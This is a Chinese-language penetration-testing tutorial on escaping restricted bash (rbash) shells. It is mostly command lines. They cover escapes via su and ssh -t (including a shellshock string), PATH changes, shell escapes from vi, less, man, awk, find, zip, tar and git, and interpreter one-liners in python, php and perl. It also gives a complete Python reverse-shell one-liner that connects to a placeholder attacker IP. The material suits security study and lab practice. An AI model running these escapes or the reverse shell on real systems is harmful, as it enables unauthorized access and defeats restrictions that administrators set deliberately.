rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的 restricted shell的一种,也是最常见的 restricted shell(rbash、ksh、rsh等)
渗透中遇到restricted shell是一件很烦人的事,总有有一种束手束脚的感觉;下面我们就来看看如何突破它。
从上边这些限制可知rbash的存在是为了提高安全性,但是严重影响了我们在目标机器上的信息收集,以及常用的反弹shell(大部分需要用到重定向符)
kali@kali:~$ sudoadduser tw kali@kali:~$ sudo usermod -s /bin/rbash tw
4.1、切换用户时逃逸
这里的原理涉及到su 和 su- 的区别:
逃逸:
su -l tw su - tw su --login tw
4.2、ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)
ssh username@IP -t "/bin/sh" or "/bin/bash" ssh username@IP -t "bash --noprofile" ssh username@IP -t "() { :; }; /bin/bash" ###shellshock
4.3、当前shell中逃逸
4.3.1、特殊情况
[1] / 被允许的情况下;直接 /bin/sh 或 /bin/bash
[2]能够设置PATH或SHELL时
export PATH=$PATH:/bin/:/usr/bin:$PATH export SHELL=/bin/sh
[3]权限足够时
cp /bin/sh /path/ ;sh 或 cp /bin/bash /path/ ;sh
4.3.2、利用系统常见应用逃逸
[1]ftp
[2]more
[3]less
[4]man
[5]vi
[6]vim
以上在输入的地方输入!/bin/sh 或 !/bin/bash
[7]scp
scp -S /path/yourscript x y:
[8]awk
awk 'BEGIN {system("/bin/sh")}' 或 awk 'BEGIN {system("/bin/bash")}'
[9]
find / -name SomeName -exec /bin/sh \; find / -name SomeName -exec /bin/bash \;
4.3.3、利用用户安装应用逃逸
[1]ed-editor
[2]git
git help status
!/bin/bash
[3]zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
[4]tar
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
4.3.4、利用编程语言环境绕过
[1]python
python -c 'import os; os.system("/bin/sh")'
[2]php
php -a then exec("sh -i");
[3]perl
perl -e 'exec "/bin/sh";'
[4]lua
[5]ruby
[6]expect
最后的几个小tips:
[1]比rbash更容易遇到的问题是当前路径异常问题
echo $PATH ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证 export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ####修复
[2] 不能使用 > ,>>等字符重定向写文件:echo 'script code' | tee scriptfile
[3]su切换用户逃逸时还可以在切换用户时执行spawn shell命令
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" tw
[4]ssh 登录时同样可以通过spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'
[5]编程语言绕过的利用,还可以使用反弹shell到我们攻击机的方式进行逃逸,以python为例:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[6]上边用的比较多的是 !/bin/sh 和 !/bin/bash;其实还有一个 !'sh' --->由于没有了 '/' ;有时候能够达到很好的绕过效果
[7]同理.在路径正确的情况下,在当前rbash中直接输入 sh 也能够完成逃逸( !/bin/sh 和 !/bin/bash 逃逸失败报错同[6] )
此处虽然只演示了rbash,但是这些逃逸方式应用到其他类型的restricted shell中也是可以的
由于不同系统特性不同,逃逸的方式也有很大差异;再就是用户限制的宽松程度不同,我们能够逃逸的方式也不同;用户安装的git、tar、zip等应用也能够给我很大的帮助;总之就是要多尝试,灵活应用!!!